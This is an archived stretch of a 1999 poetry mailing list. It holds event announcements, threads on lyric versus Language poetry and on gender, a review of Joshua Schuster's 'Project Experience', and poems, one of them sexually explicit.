"... culture and kids come together in interesting ways, all made possible by new media. On 29 May, graduating high-school students from two distant literary programs, one in Chicago and the other in Vancouver, will host a shared recital linked by videophone. The event is special because not only do the students perform their own original work, and thus get some leverage on each other's cultures, but they'll also be behind the media, exerting their prerogative of self-representation.

If past years are any indication, the quality of the writing will be quite high, often way better than the poetry one hears at open mikes and many high-profile readings. Usually they break into a spontaneous Q&A at the end of the recital, and

begin asking each other why they write and perform the way they do.

It's quite a moment to see that light of awareness switch on, as the kids realize they are speaking from different cultures and somewhat different literary traditions.

... guests are invited to see the videoconference in person in either Chicago or Vancouver, but should call ahead for details. In Chicago, the event is free. We will not netcast this videoconference, so attending in person is the only way to join the audience...."*

WHO:
Poets from Young Chicago Authors in Chicago (IL) and Lord Byng High School in Vancouver (BC)

WHERE:
Young Chicago Authors
2049 W Division Street (in Chicago's Wicker Park neighborhood)
Chicago, IL
Phone: Call the Glencoe Study Center at [redacted] during

office hours

Video In
1965 Main Street
Vancouver, BC, Canada
Phone: [redacted]

For more info on the Edgewise ElectroLit Centre, see http://www.edgewisecafe.org

For more info on e-poets.net, see http://www.e-poets.net

*Information courtesy Kurt Heintz, e-poets.net

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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71. Kevin Magee

Re: D=E=E=N = DA DA RAMISE

Fri 7 May 1999

On 29 Apr Thu
Clai Rice wrote:

> *The Concise Scots Dictionary (ed. Mairi Robinson) confirms Gwyn's supposition about deen and done, under the entry for "dae". One interesting idiom recorded with the spelling "deen" is "be deen wit it" meaning 'be dying'.*
>
> *On first reading I remember having vaguely registered the Scots possibility, and was put in mind of Burns' "A Red Red Rose." When I looked up the poem I didn't find any deens but did see why I might have gone for that poem initially -- "Till a' the seas gang dry, my dear/ And*

the rocks melt wi' the sun / Oh I will luv thee still, my dear ..."
For Hejinian the dry sea seems to have become an icon of the timelessness and changelessness that Burns declares for his love: "one cannot stop change with the next / diversity in a moment / hance also this from study / speak and in fact have nothing / like a dry sea and other matters ... in envy with life no proud nothing like a dry sea / very deep without reason of the eyes ... most unities last too long ... so much total nags a bit / distance can't describe the bar"

--Clai Rice

On Mon, 26 Apr 1999, Gwyn McVay wrote:

It's also Scots for something like trashed, used up--in the reel "The Muckin' o' Geordie's Byre," the refrain includes the line "the besom was deen," (the broom was useless) which may be cognate with "done" in that sense? The whole verse is:

The graip was tint, the besom was deen,
The barra widna row its leen,
Siccan o'sarsies never was seen
At the muckin' o' Geordie's byre.

On 7 May Fri:

Thinking about specs, specifics, specificity

specularity, spectacles, species-being.

Way back when, how do I dig at "it"?
Let me count a couple ways:

OPERA ? WORKS (BIG SKY, 1975)
THE WOMAN WHO COULD READ THE MINDS OF DOGS
(SAND DOLLAR, 1976)
CUPID & PSYCHE and VIENNA (Miam, 1978)
ITALY (THE FIGURES, 1980)
MY LIFE (BURNING DECK, 1980)
ABC (TUUMBA #46, 1983)
and the TOTTEL's that starts on p. 2 with "Whiskey White"
not to mention the L=A=N=G=U=[E] politics double issue.

A list like any other working poet scavanges haphazardly and second-hand, a little list for the cornerstore man, pamphlets that travel with me reading as fondly as the CASTLE WYND 1957 edition of MacDiarmid's THREE HYMNS TO LENIN.

"Of particular interest to those not familiar with that aspect of his work (41 West 96th Street, Apt. 10D, NYC 10025) is the article "Social Rules and

the State as a Social Actor in the July issue of WORLD POLITICS." (Addenda to Tottel's). Am not familiar with this aspect of the work.

How does the cornerstore differ from the supermarket? UFCW on strike for so long against K-Mart that the pickets become invisible. Pockets. That post back in March calling for out-of-print books and to get them up on the web—yes!

Doesn't it promise to help out poets in Moe's with only five dollars to spend wanting that five to be ten like Jack Milton used to explain so well. To make more available to them who don't work near a university archive or rare book room or who just weren't around yet when the books were being passed around like they gave it away for free at the Whitney.

PESSIMISTIC LABOR and OTTOTOLE were not not not not school uniforms more like a proletarian blue blouse, or rappers baggy trousers, more like writing reading closely and meeting and talking to and playing softball and football with the poets who were doing it.

Are school uniforms less about reading in relation and social intercourse than cultural product, object, assimilation (reification?--don't know the word--something to do w/ aura?) and a whole lot different from the educating by grouping stuff together to identify in it some common confluences or "flows" like the shared file areas promoted in RS's Ironwood or CB's Paris Review.

The problem of period style is more something for historians maybe, though a painter will talk about abstract expressionism in a practical way like I didn't want to do that because of the use it was being put to, like this was some kind of USA monument for federal text experts' exports so I started taking junky snapshots and pasting them into my canvas.

All the vast, vexed questions, where does the art go after it gets made, what world does it make. Does it make anything at all except more art. How deep or cheap does it get remade. What is imitation. What damage does that do. What generation was it that Jakobson said squandered its poets? What is sales. What's new. What is news. What is poetry for. What is a university writing conference for or, more, what is it not seeing when the campus cops at the same time are chasing off worker-militants from the factories hawking copies of Che and Pombo and Malcolm and Maurice Bishop and saying to the kids you can use this stuff, chuck school, come to work with us in the mines, Lenin's little library is the hydraulics of philosophy. If you say that a poem can't and don't and won't ever change anything outside poetics does that drive the next gal or guy into an inherited aesthetics. Sure am glad Mom and Dad did it up on Wall Street so I can take it easy and live off the fat of the land.
Revolutionary-social romanticism and gothic skinhead suburb subculture and and and and and and and at least we don't work in the kind of coalition

> *Mary Shelley did. Or do we.*
>
> *Clare pining over the Abbot of Croyland's coffin and plowing up the funny farm; Byron refusing to return to England without his pearl-handled pistols to off Southey; Southey (hey Yvonne, you forgot a Robert!) and Coleridge married to their housemaids calling Claire and Mary whores; Dorothy W.'s Tiny Tim tiptoes in the tulips on something like a road and ice i.e. 'haven't we spent the last two months like the gods in Ovid ?'(to be sung to the Hot August Night long live version of Kentucky Woman); Blake just about nowhere to be seen dragging Rembrandt to the trash icon; Percy Shelley sailing like a dumkopf in a deathtrap and sending his cabin boy full fathom five; Keats ashamed of his cockney accent drawing Clare's blistering remark that this Jack's classicism sounds like an overstuffed wannabe flowerchild; Hunt doing the kind of journalism Karl and Mary E. would use to throw Hegel's legs in the air in 48; Caroline Lamb writing a roman à clef in regency slang mounting Glenarvon on an Irish rabble-rouser white horse screaming bloody fucking murder; Burns pounding the moors like Robert E. Symmes pounding out war odes for oppressed nationalities from Kosovo to Normandy Ave. in L.A., and all this on the heels of Bastille Day or in between the guillotine and Benjamin's Baudelaire-Blanqui not long after Ann Radcliffe sets in motion a psycho-killer rightwing paramilitary mythos that would resurface two centuries later and make Anne Carson bang her head against the hole in the wall and call about her frequent flyer miles on the stage bound for the mining camps west of the Rockies.*
>
> *Comradely,*
> *Child Roland*
> *(of the Song Of)*

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72. Ryan Whyte

Aporia #2 Now Available

Fri 7 May 1999

Aporia #2

"Time"

Text and images:

Andy Patton
Monique Ladurie
Rachel Levitsky
Gordon Lebredt
Tyler Stallings
Mark A. Cheetham
Alan Jennifer Sondheim
Kent Johnson
Rachel Daley
Ryan Whyte
Nestor Kruger
Thomas Zummer

Review: Tennessee Rice Dixon
Interview: Brad Brace

ISSN 1480-9389 40 pages color offset and photocopy All correspondence: Individual issues $3 Can $2.50 U.S.A Aporia
Two-issue subscriptions: $5 Can. in Canada Ryan Whyte
$4 U.S. in U.S.A P.O. Box 124 $6 U.S. overseas
Station 'C' Toronto, ON Canada M6J 3M7 [redacted]

Upcoming:

Aporia #3: winter 1999: "The Avant-Garde"
with Aporia #3a "Poetry 'Supplement'"
Aporia #4: ETA? "Color"

* * * * *

, to delay (from) the world

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73. nuyopoman
"Over the Top" with Bob Holman
Fri 7 May 1999

Addendum: The show airs livetime 9PM ET. Thank you

<<“Over the Top” with Bob Holman

Premier of Internet Realtime Poetry Variety Show
Monday, May 10 9PM ET: www.pseudo.com (go to Channel-P)
Go! Poetry in conjunction with Mouth Almighty and EzraPoe2000

Your Hosts, Percy Dovetonsils and Bob Holman
The Sidekickin’ Announcer: Todd Colby
DJ Ill Badler

This week’s slammers:
Stacyann Chin, coached by Lynn Procope
Cristin O’Keefe Aptowicz, coached by Beau Sia
John Rodriguez representing the Bronx

Features:
American Poetryband Stand, where you dance to poems
Live Call-In 800 # Slamming
PoVideos: Ernie Kovacs, Leonard Cohen, Sekou Sundiata
Actual Poems by Alice Notley and Sappho
“Book Talk,” where books talk (superimposed mouths). This week, Allen Ginsberg “Death & Fame” discusses ampersands with Robert Creeley “Life & Death.”

...Plus! Surprises! Great guerrilla camera work! And, maybe your computer will work this time. Realtime, go to realplayer.com and upgrade now!!>>

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74. KENT JOHNSON
Journal jottings [Project Experience]
Fri 7 May 1999

Kristen Gallagher put up a notice on Josh Schuster's odd and brilliant first book the other day. I thought I'd go ahead and share some jottings I'd been doing on it, stream-of-consciousness as they be.

Project Experience: Museums, Archives, Monuments, Bureaus, by Joshua Schuster [Philadelphia: Handwritten Press, 1999] (order: Kristen Gallagher, 3805 Locust Walk, Philadelphia, PA 19104)

--"The archive is an ear."

Fifty pages, bound in the shape of a blue passport from the State of Approval, as the cover has it. Kristen Gallagher, currently of the U. of Pennsylvania Writer's House and soon of SUNY/Buffalo, has curated these documents, handed to her by one Joshua Schuster. May her Handwritten Press make as many beautiful, passport-sized books as there are countries in the world.

Is this Schuster's passport into our State or our passport into his?

Scripted question. But it's not clear who is speaking. The Museums and Archives, Monuments and Bureaus, in a kind of Foucauldian play on the pathetic fallacy, speak at us, though sometimes, too, an "I" interrupts, and sometimes a kind of narrator, like the guide on the headset in the museum or like a person talking to himself. But this confusion of authority is part the point, isn't it, for it's much of the truth of our current state. Our Institutions _do_

speak, are outside and inside us at the same moment, and when we speak we speak them and they speak us. Thus who is listening as a question we need to listen to. Scripted sentence. Boring Belgrade rubble replaced by grieving American students. F-16's in formation, majestic over teacher's funeral. Commercial for Lockheed, joyous child holding paper airplane aloft. Let us pray. Must teach Our children that violence is not the answer, says teary President inside of us, making heads nod. How surprising to the refugee when she sees the saplings shiver their leaves inside the transparent torso of the border guard. Now give me your archives and go to NATO, he says, if you love them so much. On page 27:

You are the sum of your storages: organs
of memory, organs of the morning, organs
of waiting, organs of identity. To tend the
archive is a kind of organology.

A bit Jabes in its aphoristic proceeding, a bit Popa in its mythic charge, a bit Simic in its cobbling of surreal miniatures, a bit Palmer in its hieratic namings, a bit Museum of Jurassic Technology--the whole book--in its wunderkammer (sp?) feel, its oscillations between the true and the not and the third thing that is then thrown into thought, though who knows what name that third thing has (something expiring between the tip of the tongue and the top of the teeth, I think, when we make the sound of the). Scripted sentence. Schuster scratching at it, page 16:

The kingdom is sustained by three things:
the kingdom of broken secrets, the king-
dom of splitting images, and the kingdom
of the expiration of meaning--but the
kingdom of a bird on a leash transcends
them all.

Sustenance is sustained by three things:
the sustenance of pollution, the sustenance
of hiding as a way of seeking, and the
sustenance of a thought that consumes
itself--but the sustenance of your mouth
left over in my mouth transcends them all.

Three things are sustained by three things:
the three sides of the body, the three
seconds in between in each breath, and the
three rings around one's eyes--but the
three names in your face transcend them all.

It is the size of Mao's Little Red book, but blue. Remember once, in the late 70's, I worked with a guy on a demonstration in Milwaukee to protest First Wisconsin Bank stock holdings in South Africa. For some reason I thought he was a Mennonite, but he turned out to be a member of the Revolutionary Communist Party! How surprising that soon whole cities will be a thousand feet underwater. Scripted sentence. Museums, archives, monuments, and bureaus, in slow dissolve beneath a giant lake. Mao, great conceptual artist in his embalmed body. Stalinism with a neo-liberal skull. Humanitarian bombs to bring home refugees fleeing blind rage same bombs inflamed. Supreme Allied Commander on verge of Star Wars prequel proposing to laser-torch Russian ships. Let us pray. Well-meaning poets wringing hands. What can we do?

You convince the doctor you are sick to
enter this archive. Why don't they just let
me in, you ask yourself, since it's obvious
you are ill? Ill to whom? Your illness is a
kind of _argument_. The doctor is full of
belief, in that he doesn't believe you. Who
should believe you? After all, you wear
your illness like a badge, a patch of
identity, like you are in the army of the
sick. But you have a family to take care of,
a family of illnesses. You deserve to be in
these archives.

It is so natural to be inside the archives. Poets too, surely, sick unto death, deserve entry. Let us in. Come into us. It's not that we mean to rebel too much--just want to expand the range of language, the range of the transgressively erotic, lend a bit of magic to the world. And yes, please, we'd like our names in the museum too. I wring my hands all the time. Scripted sentence. Bureaucrat's heart, feigning difference. And how surprising, after all, when you pick up a first book by someone 21 and finds hands opened out into this:

An audience of heads, one mound after another.

A smouldering mound: a pile of black burnt
dirt constantly giving off smoke to be
placed in front of any structure which was
burned down.

A temple is burned down. One does not
clear it away, but let it remain in its
remains. This is now the holy place, a
place of unplacement, a burned and
charred temple to remain standing still

burning in the minds which live among it.
That mound, there, it is breathing.

The thought mounds up.

(idea for ending review): In an age of pixels, electronic and poetic, where "religion is merely the bomber exploding with his bomb," Schuster's book a little document of compassionate thought that mounds up-- a listening and thinking that "curls the air and folds it into words," a little charm, at least for a spell, against the archive's siren song. If you collect small and fleeting things, whose meanings build and build, get this passport. Offer it, willingly, to the border guard inside you.

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75. Linda Russo
Gender quiz, or just a list
Fri 7 May 1999

Gender is maintained as a category to discuss poetry (by women) on the grounds that:

a. biology is destiny: because contemporary women (which in this case = female) poets inhabit female bodies, and so inhabit the spheres in which these bodies circulate, their poetic strategies are compared to those other women poets who inhabit(ed) the same. Whereas precursors were restricted to their 'spere' (Ann Bradstreet), contemporaries are interested in (instances of) boundary crossing (Susan Howe).

b. biology as history: same as (a) but the comparison extends historically so as to yield up a geneaology of feminist- or female- poetic 'strategies.' Danger of developing haphazardly into essentializing arguments for 'women's language.' Might lapse into arguments for mimesis. (That the strategic white spaces in Adrianne Rich's poetry = gaps, silences, or mastectomies).

c. woman as other: female poets, because they are not male, have historically been excluded from male homo-social discourses, on the basis of (a) and (b). Relies on the Oedipal master narrative for differentiation. Poetry by women either instantiates this ideology or challenges it by refusing or ironizing her 'place' in the phallic economy. (HD).

d. social-constructivist: because gender is discursive and socially constructed, women poets construct their subjectivity in such a way as to challenge the sort of lineages constructed by (a) (b) and (c). In this way, the woman poet refuses to be 'other' by instead claiming the 'multiple,' 'indeterminate' or non-phallic, non-objectifying as her mode of subjectivity. (Stein).

e. liberal-humanist: because men and women are equal, intellectually at least, under certain circumstances (myopic specificity), each have equal access to language, modes of dissemination, and reward systems. As long as she develops her voice, she can write about whatever she wants to (as long as desire doesn't degrading into naming 'parts'). Gender is maintained as a catagory presumably because in a democratic society men and women are equal. Without it, poetry is otherwise often indistinguishable in terms of its deployment of various poetic stragtegies.

f. radical-optimist: Women are vastly outnumbered in poetic production, and have little control of the modes of dissemination and the reward system, but this has changed radically since WWII. Many have come around and realized that women _can_ write poetry, and can produce and edit magazines and books. There are some cool women poets who serve as 'mother' figures to promote the often-daunting task of contributing to a discourse which offers no specific discouragement.

g. radical-realist: Because there is no such thing as the universal voice. And we have to remind ourselves of the particularities of poets (regardless of the particularities of the subjectivities they construct, or whether they choose to disregard subjectivity) in relation to the particularities of the poems they write. Gender is *one* such particularity. It is separable from other particularities only as a critical category, and as such it is exclusive, even detrimentally so in some cases.

h. pessimist (or optimist, depending on whether the glass is half full or half empty): Gender isn't going away any time soon.

i. I, I , I. I is a convention. I tries to make particular texts read as though there were some one:to:one correlation between signifiers and signifieds. This isn't as dry as it sounds. It's possible that I doesn't intend to delude itself or its readers. I is a pedagogical tool. I know some I's personally. I used to be universal, but now I's ungendered.

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76. Poetry Project

upcoming futures at the Poetry Project

Fri 7 May 1999

For the week of May 9-15
for yr hearing pleasures:

Monday May 10 @ 8pm

Tom Devaney

&

Gregory Fuchs

Wednesday May 12 @ 8pm

Paul Beatty

&

Michael McClure

Friday May 14 @ 10:30pm

Big Bridge: A webzine of Poetry, Art & Everything Else

a reading to celebrate the one year anniversary of Big Bridge featuring readings by:

Tom Savage
Merry Fortune
Bernadette Mayer
Phil Good
Jill Rapaport
Sharon Mesmer
Tom Devaney
Carl Watson
Ernest Slyman
Joel Lewis
Brendan Lorber
James Graham
Bridget Meeds
Michael Rothenberg
Mike Topp
Wanda Phipps

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77. miekal and
Re: Hail and Farewell
Fri 7 May 1999

I missed something, could someone b/c me the original hail & farewell post?

miekal

Douglas Oliver wrote:
>
> I'll always treasure the memory of Peter Quartermain, fresh back from his
> retirement party, reading his goodbye speech in his kitchen while Alice and I

> were on a visit to Vancouver and its fine poetry circles there. It made the
> day light up.
>
> Doug

↑ Index

78. Alan Sondheim
Poem by Nikuko
Fri 7 May 1999

- ---- -

Poem by Nikuko

I want this poem to be cleansed of all reference
to bombings, aerial or otherwise, missiles of crews,
land or sea or air; we've only recently taken notice
of the violence against us, turned like cowards
to write of war and anger, mutilation and despair:
Now clean this poem, I order you: Get out with all
your wars.

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79. Gerald Schwartz
Re: Barnard and beyond Beyond
Fri 7 May 1999

Dear Rachel and whole list: When you use the lyic mode, "surrounding it with other discourses and subjectivities --so that it loses its "master narrative" quality and becomes one element among many others" does the material for that expression arrive with its own control...is it yoked? I'm thinking specifically here of the fixing of symbols in context. Control in the lyric mode seems often found in the direction given to the symbol. Much of the lyric mode control enters as an eruption, from deeper sources, of energy. Any form of activity invokes an energy. Lyricists I know talk about patching into some kind of elemental power grid. Once they're patched in...there's a Job-like tussle for control. They describe it as entering something beyond ordinary human activity. It's often chocked full of ritual and dogma...and that somehow is a vessel for their energy. Now, aprt from this shamanistic description, I believe control permeates...in a highly complex way...all expression, since it involves taking the role of an audience (perhaps an audience of one), conjugating a succession of self-images, and readjusting one's take in accordance with the anticipated

reactions of others. It seems as though a poem is made at the price of fustration. The differences between inner experiences and overt behavior gives some indication of the effectiveness of control. Do lyric and language poets, despite their seeming differences in background (and intent), experience similar cognitive styles invoking control? I am asking this question as it applies to the apphrehension of poetry as articulated work, as meaningful utterance.

over,
Gerald

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80. Maria Damon (Maria Damon)
jazz/poetry festival?
Fri 7 May 1999

---

hi i just heard about a jazz/poetry festival in florida in early june that i hadn't heard about. anybody know anything about it and how one can find out?

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81. patrick phillips
Re: Barnard and beyond Beyond
Fri 7 May 1999

I haven't written a response on this list in 4 years or so, but I got my mail tonight with the intention of responding to Ron's note on Lang vs lyric a month ago. And what a good jot on the line by Rachel Blau DuPlesis!

I am surely not the only (Jennifer may tell) one to have seen more than a link between recuperative romantic poetics ca 1800 and the Language meaning making. That both share a synthetic with the social to reach some 'mode' in imagination. That the (romantic) lyric gesture coopts the object in order to give rise to a greater poetic subject seems to me turned inside out in the L thang. L intentionally undermines the object through an immanent critique of the social imagination, which in turn maybe gives rise to not-recuperation; which in some important way is a freedom. I am probably oversimplifying, but it appears to be a very similar machanism, if not the same one, just in another time.

This is not to say, or I am not saying, that both L and L are the same. Certainly there is a death of the object of the song in the songs transformation of the object in "classical" lyric poetry. In my opinion, Dorothy died at the hand of William. If, on the other hand, we were to take "My Life" and try to catalogue reflective gesture we might find multiple hand-held mirrors reflecting. The process of this reflection is not to sing-out (cross out), to metaphorize, the

object of the song. It is to live out the life - a radically different use of a similar trope. This happens again and a again in L.

I must say that there is a vein of genuine disdain in some L'ers for L. This most likely is due to the lyric's tendency to "voice." The "voice" is not immanent, but straps its hymnal to what is a very material imagination - it's like having someone eavesdrop on your conversation - a cell-phone. There are, nonetheless lyrics that work, we just have to move beyond the incapacity of rubrics to see them.

There is more to this, but my part is done for now.

P

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82. Daniel Zimmerman
Re: American Social Identity Survey
Sat 8 May 1999

Well, Pete, I couldn't entirely limit my responses to 'physical objects,' but I tried to keep them within the limits of physical 'occasion'--i.e., those things which impinge upon us physically, in our 'real' lives. So:

30 mph sign painted 80 mph
dyslexical graffiti
bingo
pubescent assassins
entitlements
mall rats
carpal tunnel syndrome
s/he
Mickey
flea markets/garage sales
demolition derby
poetry slams
cards for every occasion
credit card debt
non-aristocratic inbreeding
premature hearing loss
eating disorders
the right to buy more than one gun a month
Hyde Park on every corner
Dr. Jekyll in every HMO
The Dallas Cowboys Cheerleaders
baton twirling

focus groups
pollsters
cosmetic airbrushing
bussing
survivalists
grade inflation
social promotion
the beginning of history at one's birth (or later, if ever)
Jay(Leno)walking
"genuine artificial" anything
artificial christmas trees
Mormons
the expended family
generations (lost, beat, hippie, me, X)
lawyers ("the most despicable segment of the population"--George III)
planned obsolescence
lite beer
road rage
public libraries
community colleges
The Constitution
the ACLU
The Statue of Liberty
the Frontier
Jazz
jug bands
"wheels"
right on red

--Dan Zimmerman

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83. Ron Silliman

SF readings May 17-18?

Sat 8 May 1999

Can anyone tell me of interesting readings in the SF area for Monday, May 17 or Tuesday, May 18?

Ron
[redacted]

↑ Index

84. Chris Stroffolino
CHARLES ALTIERI
Sat 8 May 1999

Does anybody know how to get in touch with him?
Could you please backchannel some info.
My papers get soaked in flood....
thanks, c.....

↑ Index

85. Chris Stroffolino
NOTLEY on "the youth"....
Sat 8 May 1999

Hello---
I love Alice Notley's writing, old and new,
and I love the challenges she raises
and the provocations, etc....

in recent COMBO magazine interview, she talks about
"an extremely exciting younger generation right now"
(without naming names)

and says, among other things...
"They're these people between about 23 and 36....
They're not very political, and I wish they were more political."

I know Alice sometimes lurks on this list, and am curious if she'd be interested in elaborating on this lack of politics she perceives...

But, if she doesn't, perhaps others could...
I think there's a LOT of political in the younger...

speaking for myself, I've been told sometimes that my work is TOO political...

of course, it mixes politics up with love...

if the personal is the political, if "politics" (in the global sense) without love (in the personal sense) is like suburbs without cities, or cities without farmland, then what is love without politics?

been thinking of poor phil ochs lately...

there's so many issues here she raises, i'm not going to go too deep now...

but i am interested in looking for other ways to frame this question,
because i respect and admire notley's poetry,
and her desire for a return perhaps to a more blatant concern

with politics on a content level,
a moving beyond coterie politics,

and i'm glad she can say "I HATE THE CAR" more blatantly than, say, barrett watten in his "bride of the assembly line piece"....

but i think she perhaps hasn't become made aware that there are certainly much politics (unless she means something different by politics than i think she does) in writers between 23 and 36...

.....just curious....

chris stroffolino

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86. lee ann brown
POLYVERSE BOOK PARTY: 5/13/99
Sat 8 May 1999

Come to the POLYVERSE Book Release Party

THURSDAY MAY 13th 1999

TEACHERS & WRITERS COLLABORATIVE
5 Union Square West 7th Floor
NYC 10003 [redacted]

6pm Reception

7pm: Reading
with Lee Ann Brown
+
Special Surprise Guests

Polyverse by Lee Ann Brown
(Sun & Moon Press, 1999)
New American Poetry Series 31
ISBN 1-55713-290-9

Winner of The New American Poetry Prize!
(selected by Charles Bernstein)

"I say these things not because they happen but because many things happen."
[redacted]

↑ Index

87. Alan Sondheim

3 for Azure, by us

Sat 8 May 1999

/

3 for Azure

difficult to write love poems: difficult to think through such poems: difficulty of non-succumbing: more difficult of emanation: difficult of phrase. of fate, raw chance - Jennifer, Nikuko, Alan, Julu.

Azure

and and and i am in love, trembling, your voice, image, voice-image, mem- ories of days in california, and and and these chemicals make beautiful worlds and and the object of imaginary consciousness is within me and and breathing your air, and and and the imaginary makes me yours and and and i am naked inside you, crawl through you, your pictures are on me, in me, at night there are you images, and and and california, and and days and nights in california and forever, and and and i am your gift and and at night i hear your voice again and and and see you hear you talking that day that night in california and and and thinking of you i can't breathe and every word world is yours and and and "For the rest, the object as an image is an unreality. It is no doubt pre- sent, but, at the same time, it is out of reach. I cannot touch it, change its place: or rather I can well do so, but on condition that I do it in an unreal way, by not using my own hands but those of some phantoms which give this face unreal blows: to act upon these unreal objects I must div- ide myself, make myself _unreal._" (Sartre, The Psychology of Imagina- tion) and and and the world conjoins my arms and yours, some phantoms kiss us lovingly, some phantoms divide one two three, and and and some phantoms take our names, and and and some phantoms give our names and and and Azure this is hard to write and and and "When I look at a drawing, I posit in that very glance a world of human intentions of which that drawing is a product. A man drew these lines in order to produce the likeness of a runner. Of course this likeness will appear only with the cooperation of my consciousness. But the artist knows this; he counts on it; he asks for this cooperation by means of his black lines. We must not believe that these lines appear to me first in percep- tion as pure and simple lines, and only afterwards as the elements of a _representation_ in the imaginary attitude. They appear as such in the perception itself." (Sartre) and and and you tell me, draw me, draw me, draw me towards you, and I lose myself in your lines, our lines, our lineaments, and and and we draw within one another, draw on one another, draw ourselves into our lives and life and living

within the imaginary and and and watching the edges where they come towards one another and and where they form loving homes and moments suspended and and and moments when the picture turns and holds out and and and holds out loving arms

---

prophecy, progeny (to see her)

your face in noctilucent clouds your smile in cracks of tortoise-shell breasts in the flight of birds hair in river's meander in the outline of mountains, arms tea-leaves and long legs cards of tarot and those eyes of yours i-ching and labia, of yours knees and smoke, animal herds pot-shards your womb flower-petals, your hands seen motions of air and motions of your breath motions of certain colours; keep still, I do see her and and and -- -- -- -- above Keeping Still, Mountain -- -- above Li The Clinging, Flame -- -- below Li The Clinging, Flame ----- ----- ----- ----- ----- ----- ----- ----- below Ch'ien The Thinking, Heaven a long flock or herd of birds. And thereby sets upon a path of breath interpretation. Between herself and her lover. But he dare not prophecy, prophecize, prophecise. Fire in noctilucent clouds: Fire in heaven: Of grace and tea-leaves. She makes the difference in the world. To begin. To think to begin. To under- take. To undertake in the meander of waters. Her womb. Nine in the fourth place: It is free. The image. To begin to undertake him. To begin to speak, to part the lips, labia. To begin with mountains, streams. To read through leaves, pine. In these small matter, it is favorable. Nine in the fourth place means nine in the second place. No blame. Freedom. He will keep still. Possession in great measure and the image of grace, and of tea-leaves, grace. The progeny of ease, your possession in great measure. This gift. In liver, the cracks; in pot-shards, display of tarot. In the great measure of such motion, flame clinging: your skin in motion motion. The Image (sticks) The Image (stones and arrangement) The Judgement (the thin cracks) The Judgement (of the cracks, the thicker) The Lines (of leaves)

---

fate-machine

words---> running---> to---> their---> destination---> and---> demise furrows <---guide <---their <---arrow's <---destinations shuttled---> arrows---> you---> and---> I---> to---> say that <---it's <---the <---shuttles' <---linear <---confinement according---> to---> the---> line's---> most---> rigid---> rules Azure, <---beg <---you, <---break me, you, them --->

↑ Index

88. Kevin Magee

MAY 15 CLEVELAND ART EVENT

Sun 9 May 1999

"governments overthrown by little girls"
Zora Neale Hurston

prisoners of the ghetto RISE RISE RISE
refrain blare on E. 74th St.

ishmael ankenaton . maren bean . albertine boclear . bogden . lisa cheng . gina fraliotta . rommell franklin . ricky hayes . gregory holmes . shawn (casio) jones . chris kelley . joshua lauber . michelangelo lovelace . kevin magee . mandy mcculloch . mark mclesson . melissa o'grady . dany rodriguez . paul schuster . scott sykes . alexis thynne . dany vega . robert west

MAY SATURDAY THE 15 THE FIFTEENTH EAST 1999 6:00-10:00
THE EVENING WILL BE A SHOWING AN ART EVENT VIDEO
SCULPTURE POETRY PAINTING MOVEMENT AND MUSIC SHOW
SHOWCASING THE CLEVELAND EASTSIDE HODGE SCHOOL
ART SINCE AUGUST 1996 THE RESIDENCE OF AVANT GARDE
PROLETARIAN PARIAH M-N-M-N-M-N-M-N-M-N-M-N-M-N-M-N
A BYSTANDER WHOSE windflakingSapphire WILL BE PERFORMED
BY CLEVELAND POET ALBERTINE BOCLEAR AND STUDENTS
FROM THE ACADEMY OF COURT REPORTING (PICKETING)

GALLERY VIEWING 6:00 - 10:00 PM
PERFORMANCES BEGIN AT 7:00 PM
AT THE HODGE SCHOOL
1075 EAST 74th STREET
CLEVELAND, OHIO

ANY QUESTIONS CALL ALEXIS AT [redacted] OR DRIVE
INTO EAST SIDE AND ASK FOR DIRECTIONS MAY SATURDAY
THE FIFTEENTH THE 15 EAST 1999 BONE THUGS & HARMONY

* * *

SADE (shaw-day)

how infinite the course of our humiliations
nullity of being / being outside
the top of the wall carved hole in the rock
a runnel of water / a returned letter
the hard absolute hostility of slaves
the infinite partition of waiting
see the dark figure of

cakes
the city
electricity
black black black
cell of rock
the rock well
walls of rock
chinks of light
walls of light
the wailing wall
on the step of

hall of the Double
go to live in her house
that I might come and live with you
susceptibility, flax, limbo
a sharp point in the cock come
within my own skin, which is the walls
above the cloud plowed under
she in me is my male difference
the wall and the rock of a man

cock tuft by the leg
cock tipping head to toe
cock end tip arched orange
cock foam tip tongued
cock craning toward
cock ringing-in-range
cock shank fastening
cock spur of knowledge
cock will to exist and to be
cock extremes of assertion
cock forged cavity
cock quiver and trough
cock grim gold salve
cock prizing open ass
cock pressing purple
cock thronging green
cock hear the queer
cock "how he sings"
cock on the pink of its blue and gold
cock shot up into face
cock opened nostrils

cock silken-haired spent
cock the face and ass
cock in the foreskins zest
cock lay as he lay there
cock jets of glass
cock wide open eye
cock tousling male yield
cock emitting gloss
cock in our own good hour
cock mouth of the hole
cock kiss blue and yellow
cock clutching fountains
cock dripping mouthful
cock dipped to the tip of
cock on deep into her yellow
cock up you time after time
cock tip in you the first time

causeway of a rock
the cock to the man a psalm or song
on to that cross on the hill
erect olive filling her silver
tongue sucked indigo the olives
the throat the drops fall into
the chest heaving yellow and white
alone like a winter black and white
red vivid tilt the cry of the boy
the girl in an access humped swept gray
flutter down the neck of her purple
inert her by the hips and hugged
all her fight waits for the fuck of
him to her swollen pink and white and blue

Egypt end groove
low steps of stone
thigh forward fluting
robe streams rays Rome
his great limbs glowing
philosophies doves for you
she spelled her male beauty
purple and violet and gold
her painted precincts
humming hat hummed unabated

sandals blond head bent
his mouth once more his bed
woven the wild child soft blue
curving rim dipped as rose
her ankles swung hard honey
gully swirl to look at her with wonder

tribute
our roof
rapped script
the shingle
pale blue
broke white
neck of rock
sandal straps
thin brown
Damascus

Lebanon
humped now
dark hollows
calling to the milling smell
sacred on the common blue
flat basket shadow in shadow too
hips on whose orange absorb
the household of a patriarch
oil jar
polyps

daughter
head stood at edge
blond head
neck of rock
other world
file up the rise of the head
lifted head
swinging and rapt
at the foot
two naked slaves
broad naked legs
down the rocks
a hand came out
wet holds folded wet
stiffly milky

soft bushy tip of
a dwelling place
look at his house
Queer Power
oppose her

exposed arms
armed ritual of approach
turning his face to her
in the vernacular
the unjust cruelty
agony of injustice and cruelty
you are Osiris, aren't you
will you let me unclothe you

his nakedness
soft flesh of the socket
deep and like an eye
the nails, the holes, the eye
violet with oil and tender
his breast petalled openness
chafed refrain saying
more to me now than all my words

strip a man of his meaning
cleanse his toes with tears
oil in her hand and place
her palm over / pain and panic
the deep places of the body
she usurps him rhythmically
gathering power gathered power
all his body worked with her
wet core / great rose of Space
she in me / the end of my being

grain
gods. how it leans
stayed in his cave
slept in his cave
the being for / waiting for
come to me / will you come to me
